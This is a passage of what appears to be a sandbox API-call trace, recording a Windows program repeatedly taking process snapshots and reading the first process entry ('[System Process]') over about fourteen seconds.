th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0129.740] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.985] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0130.023] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.250] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0130.268] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0130.468] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.635] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0130.638] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.781] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0130.799] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0131.008] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.158] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0131.164] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.358] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0131.367] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.511] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0131.515] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0131.719] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0132.011] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.150] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0132.181] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0132.384] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0132.561] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.726] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0132.729] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.886] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0132.889] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0133.061] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.225] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0133.233] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.397] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0133.399] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0133.545] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.708] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0133.711] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.931] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0133.933] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.120] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0134.122] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.271] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0134.276] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0134.444] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.598] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0134.600] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.763] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0134.765] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.910] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0134.912] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.066] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0135.069] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.245] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0135.253] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.513] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0135.515] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.669] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0135.685] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.956] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0135.959] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0136.375] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0136.589] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.777] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0136.807] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.047] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0137.050] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0137.326] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0137.619] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.860] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0137.862] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0138.205] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.448] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0138.451] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.650] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0138.653] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.846] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0138.865] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.050] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0139.070] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.222] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0139.241] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0139.445] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.625] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0139.628] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0139.801] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.126] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0140.130] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.350] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0140.358] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0140.657] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.886] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0140.917] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.164] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0141.175] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0141.427] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.621] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0141.638] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0141.799] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.157] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0142.159] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0142.353] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.497] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0142.514] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.696] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0142.715] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.909] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0142.913] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.103] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0143.120] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.290] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0143.321] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0143.477] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0143.647] Process32FirstW (in: 